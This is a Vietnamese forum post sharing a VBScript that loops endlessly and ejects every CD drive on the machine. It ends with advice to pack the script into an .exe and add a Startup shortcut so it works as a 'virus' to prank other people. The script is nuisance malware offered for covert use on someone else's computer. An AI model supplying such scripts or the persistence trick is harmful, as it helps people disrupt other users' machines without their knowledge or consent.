Làm ổ đĩa thò ra thụt vào liên tục

Làm ổ đĩa thò ra thụt vào liên tục!





Ai thích nghịc ngợm hay trêu
đùa thì làm cái nè mà chơi!
mở texdocuments lên gõ đoạn code sau vào rùi save lại thành file eject.vbs
rùi chạy nó!
code
Trích:

do
Set wmp = CreateObject("WMPlayer.OCX.7")
Set cdroms = wmp.cdromCollection
If cdroms.Count >= 1 then
For i = 0 to cdroms.Count - 1
cdroms.Item(i).Eject
Next
For i = 0 to cdroms.Count - 1
cdroms.Item(i).Eject
Next
End If






loop


Muốn nó thành virus để trêu
đùa ng` khác thì các bạn pack nó lại thành file.exe tạo cho nó 1 shortcut vào
trong startup (có thế làm bằng winrar cũng được)